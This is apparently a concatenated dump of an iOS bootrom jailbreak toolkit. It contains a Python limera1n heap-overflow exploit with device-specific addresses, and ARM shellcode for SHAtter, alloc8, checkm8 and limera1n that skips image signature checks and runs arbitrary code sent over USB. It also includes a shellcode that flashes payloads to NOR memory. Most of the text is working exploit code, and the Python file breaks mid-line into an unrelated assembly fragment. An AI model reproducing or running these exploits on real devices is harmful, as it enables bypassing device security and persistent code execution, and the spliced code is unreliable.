dylib_sha256='7bd48a3a9955fc20752433f944f61d58d5ec9b68d25dcfab1671f3c82339c4f8'),
VersionConfig(
version='10.12',
bottle='libusb-1.0.22.sierra.bottle',
bottle_sha256='7f2b65d09525c432a86e46699a1448bab36503f45f16d6e0d8f42be6b1ef55cf',
dylib_patches=[(0x98fb, 'E97F000000'.decode('hex'))],
dylib_sha256='0d386845a96fa0457cb6c200f956c9b0d5f236729ef1e2cff34cd312f8cfc7ba'),
VersionConfig(
version='10.11',
bottle='libusb-1.0.22.el_capitan.bottle',
bottle_sha256='33575c9f56bc0d57bf985a21e40be019d5c269b432939416be8f24c5921bbb28',
dylib_patches=[(0x9917, 'E956010000'.decode('hex'))],
dylib_sha256='7ae848e0e8730bf8de48bb534a8ee42eb301a2f6ba6cc188228ce8bf79a6ba07'),
VersionConfig(
version='10.10',
bottle='libusb-1.0.21.yosemite.bottle',
bottle_sha256='8831059f7585ed973d983dd82995e1732c240a78f4f7a82e5d5c7dfe27d49941',
dylib_patches=[],
dylib_sha256='8e89265251d119f3422a760cf3472ecc46b7c3d22598600905dd5595a1ec146a'),
VersionConfig(
version='10.9',
bottle='libusb-1.0.20.mavericks.bottle.1',
bottle_sha256='5a475e2ca93886e51b994d1ea323e915c91d8463e5b23b45203acb69edf69981',
dylib_patches=[],
dylib_sha256='8f21fc0af0c7b04e7db988e1fc66ea9dbc31289096c68416140152d70138c316'),
VersionConfig(
version='10.8',
bottle='libusb-1.0.19.mountain_lion.bottle.1',
bottle_sha256='d5c4bd99b359a8319d49e06b6b13fc529f91a5bd61ce5a8ff14c291b44b676da',
dylib_patches=[],
dylib_sha256='0490800ca9ff82d37c310a09f9bd29aaa87143cf86b35d94b170617ec9d127bb'),
]
dir = os.path.dirname(__file__)
BOTTLE_PATH_FORMAT = os.path.join(dir, 'bottles', '%s.tar.gz')
DYLIB_PATH_FORMAT = os.path.join(dir, '%s.dylib')
DYLIB_NAME = 'libusb-1.0.0.dylib'
def apply_patches(binary, patches):
for (offset, data) in patches:
binary = binary[:offset] + data + binary[offset + len(data):]
return binary
def libusb1_path_internal():
version = platform.mac_ver()[0]
# HACK to support macOS 10.15
if version == '10.15':
version = '10.14'
if version == '':
# We're not running on a Mac.
return None
for config in configs:
if version.startswith(config.version):
path = DYLIB_PATH_FORMAT % config.bottle
try:
f = open(path, 'rb')
dylib = f.read()
f.close()
if hashlib.sha256(dylib).hexdigest() == config.dylib_sha256:
return path
print 'WARNING: SHA256 hash of existing dylib does not match.'
except IOError:
pass
f = open(BOTTLE_PATH_FORMAT % config.bottle, 'rb')
bottle = f.read()
f.close()
if hashlib.sha256(bottle).hexdigest() != config.bottle_sha256:
print 'ERROR: SHA256 hash of bottle does not match.'
sys.exit(1)
tar = tarfile.open(fileobj=cStringIO.StringIO(bottle))
for member in tar.getmembers():
if member.name.endswith(DYLIB_NAME):
patched_dylib = apply_patches(tar.extractfile(member.name).read(), config.dylib_patches)
if hashlib.sha256(patched_dylib).hexdigest() != config.dylib_sha256:
print 'ERROR: SHA256 hash of new dylib does not match.'
sys.exit(1)
f = open(path, 'wb')
f.write(patched_dylib)
f.close()
return path
# No match found.
return None
cached_path = libusb1_path_internal()
def libusb1_path():
return cached_path
================================================
FILE: limera1n.py
================================================
# Credit: This file is based on limera1n exploit (heap overflow) by geohot.
import array, ctypes, struct, sys, time
import usb # pyusb: use 'pip install pyusb' to install this module
import dfu
# Must be global so garbage collector never frees it
request = None
transfer_ptr = None
constants_359_3 = [
0x84031800, # 1 - RELOCATE_SHELLCODE_ADDRESS
1024, # 2 - RELOCATE_SHELLCODE_SIZE
0x83d4, # 3 - memmove
0x84034000, # 4 - MAIN_STACK_ADDRESS
0x43c9, # 5 - nor_power_on
0x5ded, # 6 - nor_init
0x84024820, # 7 - gUSBSerialNumber
0x8e7d, # 8 - strlcat
0x349d, # 9 - usb_wait_for_image
0x84000000, # 10 - LOAD_ADDRESS
0x24000, # 11 - MAX_SIZE
0x84024228, # 12 - gLeakingDFUBuffer
0x1ccd, # 13 - free
0x65786563, # 14 - EXEC_MAGIC
0x1f79, # 15 - memz_create
0x3969, # 16 - jump_to
0x1fa1, # 17 - memz_destroy
0x60, # 18 - IMAGE3_LOAD_SP_OFFSET
0x50, # 19 - IMAGE3_LOAD_STRUCT_OFFSET
0x1fe5, # 20 - image3_create_struct
0x2655, # 21 - image3_load_continue
0x277b, # 22 - image3_load_fail
]
constants_359_3_2 = [
0x84031800, # 1 - RELOCATE_SHELLCODE_ADDRESS
1024, # 2 - RELOCATE_SHELLCODE_SIZE
0x83dc, # 3 - memmove
0x84034000, # 4 - MAIN_STACK_ADDRESS
0x43d1, # 5 - nor_power_on
0x5df5, # 6 - nor_init
0x84024820, # 7 - gUSBSerialNumber
0x8e85, # 8 - strlcat
0x34a5, # 9 - usb_wait_for_image
0x84000000, # 10 - LOAD_ADDRESS
0x24000, # 11 - MAX_SIZE
0x84024228, # 12 - gLeakingDFUBuffer
0x1ccd, # 13 - free
0x65786563, # 14 - EXEC_MAGIC
0x1f81, # 15 - memz_create
0x3971, # 16 - jump_to
0x1fa9, # 17 - memz_destroy
0x60, # 18 - IMAGE3_LOAD_SP_OFFSET
0x50, # 19 - IMAGE3_LOAD_STRUCT_OFFSET
0x1fed, # 20 - image3_create_struct
0x265d, # 21 - image3_load_continue
0x2783, # 22 - image3_load_fail
]
constants_359_5 = [
0x84031800, # 1 - RELOCATE_SHELLCODE_ADDRESS
1024, # 2 - RELOCATE_SHELLCODE_SIZE
0x8564, # 3 - memmove
0x84034000, # 4 - MAIN_STACK_ADDRESS
0x43b9, # 5 - nor_power_on
0x5f75, # 6 - nor_init
0x84024750, # 7 - gUSBSerialNumber
0x901d, # 8 - strlcat
0x36e5, # 9 - usb_wait_for_image
0x84000000, # 10 - LOAD_ADDRESS
0x24000, # 11 - MAX_SIZE
0x84024158, # 12 - gLeakingDFUBuffer
0x1a51, # 13 - free
0x65786563, # 14 - EXEC_MAGIC
0x1f25, # 15 - memz_create
0x39dd, # 16 - jump_to
0x1f0d, # 17 - memz_destroy
0x64, # 18 - IMAGE3_LOAD_SP_OFFSET
0x60, # 19 - IMAGE3_LOAD_STRUCT_OFFSET
0x2113, # 20 - image3_create_struct
0x2665, # 21 - image3_load_continue
0x276d, # 22 - image3_load_fail
]
constants_574_4 = [
0x84039800, # 1 - RELOCATE_SHELLCODE_ADDRESS
1024, # 2 - RELOCATE_SHELLCODE_SIZE
0x84dc, # 3 - memmove
0x8403c000, # 4 - MAIN_STACK_ADDRESS
0x4e8d, # 5 - nor_power_on
0x690d, # 6 - nor_init
0x8402e0e0, # 7 - gUSBSerialNumber
0x90c9, # 8 - strlcat
0x4c85, # 9 - usb_wait_for_image
0x84000000, # 10 - LOAD_ADDRESS
0x2c000, # 11 - MAX_SIZE
0x8402dbcc, # 12 - gLeakingDFUBuffer
0x3b95, # 13 - free
0x65786563, # 14 - EXEC_MAGIC
0x7469, # 15 - memz_create
0x5a5d, # 16 - jump_to
0x7451, # 17 - memz_destroy
0x68, # 18 - IMAGE3_LOAD_SP_OFFSET
0x64, # 19 - IMAGE3_LOAD_STRUCT_OFFSET
0x412d, # 20 - image3_create_struct
0x46db, # 21 - image3_load_continue
0x47db, # 22 - image3_load_fail
]
class DeviceConfig:
def __init__(self, version, cpid, exploit_lr, max_size, constants):
self.version = version
self.cpid = cpid
self.exploit_lr = exploit_lr
self.max_size = max_size
self.constants = constants
configs = [
DeviceConfig('359.3', '8920', 0x84033FA4, 0x24000, constants_359_3), # S5L8920 (old bootrom)
DeviceConfig('359.3.2', '8920', 0x84033FA4, 0x24000, constants_359_3_2), # S5L8920 (new bootrom)
DeviceConfig('359.5', '8922', 0x84033F98, 0x24000, constants_359_5), # S5L8922
DeviceConfig('574.4', '8930', 0x8403BF9C, 0x2C000, constants_574_4), # S5L8930
]
def create_control_transfer(device, request, timeout):
ptr = usb.backend.libusb1._lib.libusb_alloc_transfer(0)
assert ptr is not None
transfer = ptr.contents
transfer.dev_handle = device._ctx.handle.handle
transfer.endpoint = 0 # EP0
transfer.type = 0 # LIBUSB_TRANSFER_TYPE_CONTROL
transfer.timeout = timeout
transfer.buffer = request.buffer_info()[0] # C-pointer to request buffer
transfer.length = len(request)
transfer.user_data = None
transfer.callback = usb.backend.libusb1._libusb_transfer_cb_fn_p(0) # NULL
transfer.flags = 1 << 1 # LIBUSB_TRANSFER_FREE_BUFFER
return ptr
def limera1n_libusb1_async_ctrl_transfer(device, bmRequestType, bRequest, wValue, wIndex, data, timeout):
if usb.backend.libusb1._lib is not device._ctx.backend.lib:
print 'ERROR: This exploit requires libusb1 backend, but another backend is being used. Exiting.'
sys.exit(1)
request = array.array('B', struct.pack(' MAX_SIZE) goto img3_fail
MOV R8, R2 @ R8 = R0[1]
MOV R0, R4
MOV R1, R6
LDR R4, =image3_create_struct
BLX R4
MOV R4, R0 @ R4 = image3_create_struct(SP + IMAGE3_LOAD_STRUCT_OFFSET, R6, R8, 0)
LDR R3, =image3_load_continue @ R3 = image3_load_continue
CBZ R4, img3_branch_R3 @ if (R4 == 0) goto img3_branch_R3
img3_fail:
MOV R4, #1 @ R4 = 1
LDR R3, =image3_load_fail @ R3 = image3_load_fail
img3_branch_R3:
BX R3 @ goto R3
.align 2
PWND_STRING:
.ascii " PWND:[SHAtter]\x00"
================================================
FILE: src/alloc8-shellcode.S
================================================
@ alloc8-shellcode.S
@ Author: axi0mX
@ Shellcode for alloc8 exploit with minor improvements:
@ * supports 'exec' magic for code execution over USB
@ * reports PWND:[alloc8] in USB serial number string
@ * enters pwned DFU on boot if home and power buttons are being held and cable is connected
.text
.pool
.set free, 0xBAD00004
.set get_nor_image, 0xBAD0000a
.set memz_create, 0xBAD00013
.set memz_destroy, 0xBAD00014
.set image3_create_struct, 0xBAD00017
.set image3_load_continue, 0xBAD00018
.set image3_load_fail, 0xBAD00019
.set usb_wait_for_image, 0xBAD00010
.set usb_create_serial_number_string, 0xBAD0000e
.set jump_to, 0xBAD0000d
.set exit_critical_section, 0xBAD00005
.set cable_connected, 0xBAD00008
.set power_button_pressed, 0xBAD00007
.set home_button_pressed, 0xBAD00006
.set clean_invalidate_data_cache, 0xBAD00002
.set strlcat, 0xBAD0000f
.set gNorImg3List, 0xBAD00003
.set gLeakingDFUBuffer, 0xBAD00011
.set MAIN_STACK_ADDRESS, 0xBAD00001
.set LOAD_ADDRESS, 0xBAD0000b
.set MAX_SIZE, 0xBAD0000c
.set ILLB_MAGIC, 0xBAD00009
.set MEMZ_STRUCT_MAGIC, 0xBAD00016
.set IMG3_STRUCT_MAGIC, 0xBAD00015
.set EXEC_MAGIC, 0xBAD00012
.global _start
_start:
.code 16
LDR R0, =MAIN_STACK_ADDRESS
MOV SP, R0 @ SP = MAIN_STACK_ADDRESS
LDR R0, =clean_invalidate_data_cache
BLX R0 @ clean_invalidate_data_cache()
LDR R4, =gNorImg3List @ R4 = &gNorImg3List
LDR R1, [R4, #4] @ R1 = R4[1]
LDR R5, [R1, #4] @ R5 = R1[1]
STR R4, [R1, #4] @ R1[1] = R4
STR R1, [R4] @ gNorImg3List = R1
LDR R6, =free @ R6 = free
free_loop:
CMP R4, R5
BEQ pwned_boot @ if (R4 == R5) goto pwned_boot
MOV R0, R5 @ R0 = R5
LDR R5, [R5, #4] @ R5 = R5[1]
BLX R6 @ free(R0)
B free_loop @ goto free_loop
pwned_boot:
SUB SP, SP, #0xC @ SP -= 0xC
LDR R3, =exit_critical_section
BLX R3 @ exit_critical_section()
LDR R3, =home_button_pressed
BLX R3 @ R0 = home_button_pressed()
CBZ R0, pwned_llb_boot @ if (R0 == 0) goto pwned_llb_boot
LDR R3, =power_button_pressed
BLX R3 @ R0 = power_button_pressed()
CBZ R0, pwned_llb_boot @ if (R0 == 0) goto pwned_llb_boot
LDR R3, =cable_connected
BLX R3 @ R0 = cable_connected()
CBNZ R0, pwned_dfu @ if (R0 != 0) goto pwned_dfu
pwned_llb_boot:
LDR R0, =ILLB_MAGIC
LDR R3, =get_nor_image
BLX R3 @ R0 = get_nor_image(ILLB_MAGIC)
CBZ R0, pwned_dfu @ if (R0 == 0) goto pwned_dfu
LDR R1, =LOAD_ADDRESS
STR R1, [SP] @ SP[0] = LOAD_ADDRESS
LDR R1, =MAX_SIZE
STR R1, [SP, #4] @ SP[1] = MAX_SIZE
MOV R1, SP
ADD R2, SP, #4
BL image3_load_no_signature_check @ R0 = image3_load_no_signature_check(R0, &SP[0], &SP[1])
CBNZ R0, pwned_dfu @ if (R0 != 0) goto pwned_dfu
LDR R1, =LOAD_ADDRESS
MOV R2, #0
LDR R3, =jump_to
BLX R3 @ jump_to(0, LOAD_ADDRESS, 0)
/* jump_to should never return */
pwned_dfu:
MOV R0, #1
LDR R3, =usb_create_serial_number_string
BLX R3 @ R0 = usb_create_serial_number_string(1)
ADR R1, PWND_STRING
MOV R2, #120
LDR R3, =strlcat
BLX R3 @ strlcat(R0, PWND_STRING, 120)
pwned_dfu_loop:
LDR R0, =LOAD_ADDRESS
LDR R1, =MAX_SIZE
LDR R3, =usb_wait_for_image
BLX R3
MOV R4, R0 @ R4 = usb_wait_for_image(LOAD_ADDRESS, MAX_SIZE)
LDR R5, =gLeakingDFUBuffer
LDR R0, [R5]
LDR R3, =free
BLX R3 @ free(gLeakingDFUBuffer)
MOV R0, #0
STR R0, [R5] @ gLeakingDFUBuffer = 0
CMP R4, #0
BLT pwned_dfu_loop @ if (R4 < 0) goto pwned_dfu_loop
LDR R5, =LOAD_ADDRESS
LDR R0, [R5] @ R0 = LOAD_ADDRESS[0]
LDR R1, =EXEC_MAGIC
CMP R0, R1
BEQ pwned_dfu_exec_magic @ if (R0 == EXEC_MAGIC) goto pwned_dfu_exec_magic
LDR R0, =LOAD_ADDRESS
MOV R1, R4
MOV R2, #0
LDR R3, =memz_create
BLX R3
MOV R4, R0 @ R4 = memz_create(LOAD_ADDRESS, R4, 0)
CBZ R4, pwned_dfu_loop_end @ if (R4 == 0) goto pwned_dfu_loop_end
STR R5, [SP] @ SP[0] = LOAD_ADDRESS
STR R4, [SP, #4] @ SP[1] = R4
MOV R1, SP
ADD R2, SP, #4
BL image3_load_no_signature_check @ R0 = image3_load_no_signature_check(R0, &SP[0], &SP[1])
CBNZ R0, pwned_dfu_load_failed @ if (R0 != 0) goto pwned_dfu_load_failed
LDR R1, =LOAD_ADDRESS
MOV R2, #0
LDR R3, =jump_to
BLX R3 @ jump_to(0, LOAD_ADDRESS, 0)
/* jump_to should never return */
pwned_dfu_load_failed:
MOV R0, R4
LDR R3, =memz_destroy
BLX R3 @ memz_destroy(R4)
pwned_dfu_loop_end:
B pwned_dfu_loop @ goto pwned_dfu_loop
pwned_dfu_exec_magic:
LDR R0, [R5, #0x8] @ R0 = LOAD_ADDRESS[2] /* arg1 */
LDR R1, [R5, #0xC] @ R1 = LOAD_ADDRESS[3] /* arg2 */
LDR R2, [R5, #0x10] @ R2 = LOAD_ADDRESS[4] /* arg3 */
LDR R3, [R5, #0x14] @ R3 = LOAD_ADDRESS[5] /* arg4 */
LDR R4, [R5, #0x18] /* TODO: Consider replacing with memmove? */
STR R4, [SP] @ SP[0] = LOAD_ADDRESS[6] /* arg5 */
LDR R4, [R5, #0x1C]
STR R4, [SP, #0x4] @ SP[1] = LOAD_ADDRESS[7] /* arg6 */
LDR R4, [R5, #0x20]
STR R4, [SP, #0x8] @ SP[2] = LOAD_ADDRESS[8] /* arg7 */
LDR R4, [R5, #0x4]
BLX R4 @ R0 = LOAD_ADDRESS[1](R0, R1, R2, R3, SP[0], SP[1], SP[2])
STR R0, [R5, #4] @ LOAD_ADDRESS[1] = R0
MOV R0, #0
STR R0, [R5] @ LOAD_ADDRESS[0] = 0
B pwned_dfu_loop @ goto pwned_dfu_loop
image3_load_no_signature_check:
PUSH {R4-R7, LR} /* TODO: Rewrite this ugly mess. */
MOV R6, R11
MOV R5, R10
MOV R4, R8
PUSH {R4-R6}
ADD R7, SP, #0x18
SUB SP, SP, #0x60
STR R2, [SP, #0x10]
MOVS R3, #0
STR R3, [SP, #0x50]
LDR R6, [R1]
MOV R10, R1
MOVS R5, R0
LDR R0, [R5, #4]
MOV R8, R0
LDR R1, =MAX_SIZE
CMP R0, R1
BGT img3_bad_size
LDR R0, [R5, #0xC]
LDR R1, =IMG3_STRUCT_MAGIC
CMP R0, R1
BNE not_nor_img3
MOV R4, R8
STR R4, [SP]
LDR R4, [R5, #0x14]
LDR R0, [R4, #8]
LDR R1, =LOAD_ADDRESS
LDR R2, [R4, #0xC]
MOVS R3, #0
LDR R4, [R0, #0x1C]
BLX R4
CMP R0, R8
BNE img3_fail
B img3_continue
not_nor_img3:
LDR R1, =MEMZ_STRUCT_MAGIC
CMP R0, R1
BNE img3_fail
img3_continue:
ADD R0, SP, #0x50
MOVS R1, R6
MOV R2, R8
MOVS R3, #0
LDR R4, =image3_create_struct
BLX R4
MOV R4, R0
CBNZ R4, img3_fail
LDR R3, =image3_load_continue
BX R3
img3_bad_size:
MOV R8, R1
img3_fail:
MOV R4, #1
LDR R3, =image3_load_fail
BX R3
.align 2
PWND_STRING:
.ascii " PWND:[alloc8]\x00"
================================================
FILE: src/checkm8_arm64.S
================================================
.text
.pool
.set PAYLOAD_OFFSET, 0xBAD00006
.set PAYLOAD_SIZE, 0xBAD00007
.set PAYLOAD_DEST, 0xBAD00005
.set PAYLOAD_PTR, 0xBAD00008
.set gUSBSerialNumber, 0xBAD00002
.set gUSBSRNMStringDescriptor, 0xBAD00004
.set gUSBDescriptors, 0xBAD00001
.set usb_create_string_descriptor, 0xBAD00003
.global _main
_main:
MOV X19, #0 // HACK: do not free this usb request
STP X29, X30, [SP,#-0x10]!
MOV X29, SP
LDR X0, =gUSBDescriptors
LDP X0, X1, [X0]
ADR X2, USB_DESCRIPTOR
LDP X3, X4, [X2]
STP X3, X4, [X0]
STP X3, X4, [X1]
LDP X3, X4, [X2,#0x10]
STP X3, X4, [X0,#0x10]
STP X3, X4, [X1,#0x10]
LDR X0, =gUSBSerialNumber
find_zero_loop:
ADD X0, X0, #1
LDRB W1, [X0]
CBNZ W1, find_zero_loop
ADR X1, PWND_STRING
LDP X2, X3, [X1]
STP X2, X3, [X0]
LDR X0, =gUSBSerialNumber
LDR X1, =usb_create_string_descriptor
BLR X1
LDR X1, =gUSBSRNMStringDescriptor
STRB W0, [X1]
LDR X0, =PAYLOAD_DEST
ADR X1, _main
LDR X2, =PAYLOAD_OFFSET
ADD X1, X1, X2
MOV X2, #0
LDR X3, =PAYLOAD_SIZE
LDR X4, =PAYLOAD_PTR
ADD X5, X0, #0x18
STR X5, [X4]
copy_loop:
LDP X3, X4, [X1]
STP X3, X4, [X0]
LDP X3, X4, [X1,#0x10]
STP X3, X4, [X0,#0x10]
LDP X3, X4, [X1,#0x20]
STP X3, X4, [X0,#0x20]
LDP X3, X4, [X1,#0x30]
STP X3, X4, [X0,#0x30]
DC CIVAC, X0
DMB SY
ADD X0, X0, #0x40
ADD X1, X1, #0x40
ADD X2, X2, #0x40
CMP X2, X3
B.CC copy_loop
SYS #0, c7, c5, #0
DSB SY
ISB
LDP X29, X30, [SP],#0x10
RET
USB_DESCRIPTOR:
.word 0x190209, 0x80050101, 0x409fa, 0x1fe0000, 0x21070000, 0xa01, 0x8, 0x0
PWND_STRING:
.asciz " PWND:[checkm8]"
================================================
FILE: src/checkm8_armv7.S
================================================
.text
.pool
.set PAYLOAD_OFFSET, 0xBAD00006
.set PAYLOAD_SIZE, 0xBAD00007
.set PAYLOAD_DEST, 0xBAD00005
.set PAYLOAD_PTR, 0xBAD00008
.set gUSBSerialNumber, 0xBAD00002
.set gUSBSRNMStringDescriptor, 0xBAD00004
.set gUSBDescriptors, 0xBAD00001
.set usb_create_string_descriptor, 0xBAD00003
.code 32
.global _main
_main:
MOV R4, #0 // HACK: do not free this usb request
PUSH {R4-R7,LR}
LDR R0, =gUSBDescriptors
LDRD R0, R1, [R0]
ADR R2, USB_DESCRIPTOR
LDRD R4, R5, [R2]
STRD R4, R5, [R0]
STRD R4, R5, [R1]
LDRD R4, R5, [R2,#0x8]
STRD R4, R5, [R0,#0x8]
STRD R4, R5, [R1,#0x8]
LDRD R4, R5, [R2,#0x10]
STRD R4, R5, [R0,#0x10]
STRD R4, R5, [R1,#0x10]
LDRD R4, R5, [R2,#0x18]
STRD R4, R5, [R0,#0x18]
STRD R4, R5, [R1,#0x18]
LDR R0, =gUSBSerialNumber
find_zero_loop:
ADD R0, R0, #1
LDRB R1, [R0]
CMP R1, #0
BNE find_zero_loop
ADR R1, PWND_STRING
LDR R2, [R1]
LDR R3, [R1,#0x4]
STR R2, [R0]
STR R3, [R0,#0x4]
LDR R2, [R1,#0x8]
LDR R3, [R1,#0xC]
STR R2, [R0,#0x8]
STR R3, [R0,#0xC]
LDR R0, =gUSBSerialNumber
LDR R1, =usb_create_string_descriptor
LDR R4, =gUSBSRNMStringDescriptor
BLX R1
STRB R0, [R4]
LDR R0, =PAYLOAD_DEST
ADR R1, _main
LDR R2, =PAYLOAD_OFFSET
ADD R1, R1, R2
MOV R2, #0
LDR R3, =PAYLOAD_SIZE
LDR R4, =PAYLOAD_PTR
ADD R5, R0, #0x9
STR R5, [R4]
copy_loop:
LDRD R4, R5, [R1]
STRD R4, R5, [R0]
LDRD R4, R5, [R1,#0x8]
STRD R4, R5, [R0,#0x8]
LDRD R4, R5, [R1,#0x10]
STRD R4, R5, [R0,#0x10]
LDRD R4, R5, [R1,#0x18]
STRD R4, R5, [R0,#0x18]
LDRD R4, R5, [R1,#0x20]
STRD R4, R5, [R0,#0x20]
LDRD R4, R5, [R1,#0x28]
STRD R4, R5, [R0,#0x28]
LDRD R4, R5, [R1,#0x30]
STRD R4, R5, [R0,#0x30]
LDRD R4, R5, [R1,#0x38]
STRD R4, R5, [R0,#0x38]
MCR p15, 0, R0,c7,c14, 1
DMB SY
ADD R0, R0, #0x40
ADD R1, R1, #0x40
ADD R2, R2, #0x40
CMP R2, R3
BCC copy_loop
MOV R0, #0
MCR p15, 0, R0, c7, c5, 0
DSB
ISB
POP {R4-R7,PC}
USB_DESCRIPTOR:
.word 0x190209, 0x80050101, 0x409fa, 0x1fe0000, 0x21070000, 0xa01, 0x8, 0x0
PWND_STRING:
.asciz " PWND:[checkm8]"
================================================
FILE: src/ibss-flash-nor-shellcode.S
================================================
@ ibss-flash-nor-shellcode.S
@ Author: axi0mX
@ Flashes parts of payload to NOR using iPhone2,1 4.3.5 iBSS
@ Parts flashed: 0x0-0x200, 0x8000-0xF3000
.text
.pool
.set reboot_cmd, 0x84000cdd
.set set_bgcolor, 0x8400c6ed
.set apply_bgcolor, 0x8400c789
.set get_block_device, 0x84012c61
.set gNor0String, 0x84014754
.set NOR_PAYLOAD_BASE, 0x41000080
.set NOR_WRITE_1_OFFSET, 0
.set NOR_WRITE_1_SIZE, 0x200
.set NOR_WRITE_2_OFFSET, 0x8000
.set NOR_WRITE_2_SIZE, 0x78000
.set NOR_WRITE_3_OFFSET, 0x80000
.set NOR_WRITE_3_SIZE, 0x73000
.global _start
_start:
.code 16
MOV R0, #0
MOV R1, #160
MOV R2, #0
LDR R3, =set_bgcolor
BLX R3 @ set_bgcolor(0, 160, 0)
LDR R3, =apply_bgcolor
BLX R3 @ apply_bgcolor()
LDR R0, =NOR_WRITE_1_OFFSET
LDR R1, =NOR_WRITE_1_SIZE
BL flash_nor @ flash_nor(NOR_WRITE_1_OFFSET, NOR_WRITE_1_SIZE)
LDR R0, =NOR_WRITE_2_OFFSET
LDR R1, =NOR_WRITE_2_SIZE
BL flash_nor @ flash_nor(NOR_WRITE_2_OFFSET, NOR_WRITE_2_SIZE)
LDR R0, =NOR_WRITE_3_OFFSET
LDR R1, =NOR_WRITE_3_SIZE
BL flash_nor @ flash_nor(NOR_WRITE_3_OFFSET, NOR_WRITE_3_SIZE)
LDR R3, =reboot_cmd
BLX R3 @ reboot_cmd()
/* reboot_cmd should never return */
B spin @ goto spin
flash_nor: @ void flash_nor(R0=offset, R1=size)
PUSH {R4-R5, LR}
MOV R4, R0 @ R4 = R0
MOV R5, R1 @ R5 = R1
LDR R0, =gNor0String
LDR R3, =get_block_device
BLX R3 @ R0 = get_block_device(gNor0String)
CBZ R0, fail @ if (R0 == 0) goto fail
LDR R1, =NOR_PAYLOAD_BASE
ADD R1, R1, R4
MOV R2, R4
MOV R3, #0
STR R5, [SP]
LDR R4, [R0, #0x24]
BLX R4 @ R0 = R0[9](R0, NOR_PAYLOAD_BASE + R4, R4, 0, R5)
CMP R0, R5
BNE fail @ if (R0 != R5) goto fail
POP {R4-R5, PC} @ return
fail:
MOV R0, #255
MOV R1, #0
MOV R2, #0
LDR R3, =set_bgcolor
BLX R3 @ set_bgcolor(255, 0, 0)
LDR R3, =apply_bgcolor
BLX R3 @ apply_bgcolor()
spin:
B spin @ while (1)
================================================
FILE: src/limera1n-shellcode.S
================================================
@ limera1n-shellcode.S
@ Author: axi0mX
@ Shellcode for limera1n exploit with minor improvements:
@ * supports 'exec' magic for code execution over USB
@ * reports PWND:[limera1n] in USB serial number string
.text
.pool
.set free, 0xBAD0000d
.set memz_create, 0xBAD0000f
.set memz_destroy, 0xBAD00011
.set image3_create_struct, 0xBAD00014
.set image3_load_continue, 0xBAD00015
.set image3_load_fail, 0xBAD00016
.set usb_wait_for_image, 0xBAD00009
.set jump_to, 0xBAD00010
.set nor_power_on, 0xBAD00005
.set nor_init, 0xBAD00006
.set memmove, 0xBAD00003
.set strlcat, 0xBAD00008
.set gLeakingDFUBuffer, 0xBAD0000c
.set gUSBSerialNumber, 0xBAD00007
.set RELOCATE_SHELLCODE_ADDRESS, 0xBAD00001
.set RELOCATE_SHELLCODE_SIZE, 0xBAD00002
.set MAIN_STACK_ADDRESS, 0xBAD00004
.set LOAD_ADDRESS, 0xBAD0000a
.set MAX_SIZE, 0xBAD0000b
.set EXEC_MAGIC, 0xBAD0000e
.set IMAGE3_LOAD_SP_OFFSET, 0xBAD00012
.set IMAGE3_LOAD_STRUCT_OFFSET, 0xBAD00013
.global _start
_start:
.code 16
B relocate_shellcode @ goto relocate_shellcode
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
relocate_shellcode:
MOV R1, PC
SUB R1, R1, #4 @ R1 = PC - 4
LDR R0, =RELOCATE_SHELLCODE_ADDRESS
CMP R0, R1
BEQ pwned_dfu_start @ if (R1 == RELOCATE_SHELLCODE_ADDRESS) goto pwned_dfu_start
LDR R2, =RELOCATE_SHELLCODE_SIZE
LDR R3, =memmove
BLX R3 @ memmove(RELOCATE_SHELLCODE_ADDRESS, R1, RELOCATE_SHELLCODE_SIZE)
LDR R3, =RELOCATE_SHELLCODE_ADDRESS
ADD R3, R3, #1
BX R3 @ goto (RELOCATE_SHELLCODE_ADDRESS + 1)
pwned_dfu_start:
LDR R0, =MAIN_STACK_ADDRESS
MOV SP, R0 @ SP = MAIN_STACK_ADDRESS
MOV R0, #1
MOV R1, #1
MOV R2, #0
LDR R3, =nor_power_on
BLX R3 @ nor_power_on(1, 1, 0)
MOV R0, #0
LDR R3, =nor_init
BLX R3 @ nor_init(0)
LDR R0, =gUSBSerialNumber
ADR R1, PWND_STRING
MOV R2, #120
LDR R3, =strlcat
BLX R3 @ strlcat(gUSBSerialNumber, PWND_STRING, 120)
pwned_dfu_loop:
LDR R3, =usb_wait_for_image
LDR R0, =LOAD_ADDRESS
LDR R1, =MAX_SIZE
BLX R3 @ R0 = usb_wait_for_image(LOAD_ADDRESS, MAX_SIZE)
MOV R4, R0 @ R4 = R0
LDR R1, =gLeakingDFUBuffer
LDR R0, [R1] @ R0 = gLeakingDFUBuffer
MOV R2, #0
STR R2, [R1] @ gLeakingDFUBuffer = 0
LDR R3, =free
BLX R3 @ free(R0)
CMP R4, #0
BLT pwned_dfu_loop @ if (R4 < 0) goto pwned_dfu_loop
LDR R5, =LOAD_ADDRESS
LDR R0, [R5] @ R0 = LOAD_ADDRESS[0]
LDR R1, =EXEC_MAGIC
CMP R0, R1
BNE pwned_dfu_not_exec_magic @ if (R0 != EXEC_MAGIC) goto pwned_dfu_not_exec_magic
LDR R0, [R5, #0x8] @ R0 = LOAD_ADDRESS[2] /* arg1 */
LDR R1, [R5, #0xC] @ R1 = LOAD_ADDRESS[3] /* arg2 */
LDR R2, [R5, #0x10] @ R2 = LOAD_ADDRESS[4] /* arg3 */
LDR R3, [R5, #0x14] @ R3 = LOAD_ADDRESS[5] /* arg4 */
LDR R4, [R5, #0x18]
STR R4, [SP] @ SP[0] = LOAD_ADDRESS[6] /* arg5 */
LDR R4, [R5, #0x1C]
STR R4, [SP, #0x4] @ SP[1] = LOAD_ADDRESS[7] /* arg6 */
LDR R4, [R5, #0x20]
STR R4, [SP, #0x8] @ SP[2] = LOAD_ADDRESS[8] /* arg7 */
LDR R4, [R5, #0x4]
BLX R4 @ R0 = LOAD_ADDRESS[1](R0, R1, R2, R3, SP[0], SP[1], SP[2])
STR R0, [R5, #4] @ LOAD_ADDRESS[1] = R0
MOV R1, #0
STR R1, [R5] @ LOAD_ADDRESS[0] = 0
B pwned_dfu_loop @ goto pwned_dfu_loop
pwned_dfu_not_exec_magic:
LDR R0, =LOAD_ADDRESS
MOV R1, R4
MOV R2, #0
LDR R3, =memz_create
BLX R3 @ R0 = memz_create(LOAD_ADDRESS, R4, 0)
CMP R0, #0
BEQ pwned_dfu_loop @ if (R0 == 0) goto pwned_dfu_loop /* out of memory :-| */
LDR R3, =LOAD_ADDRESS
STR R3, [SP] @ SP[0] = LOAD_ADDRESS
STR R4, [SP, #4] @ SP[1] = R4
MOV R4, R0 @ R4 = R0
MOV R1, SP
ADD R2, SP, #4
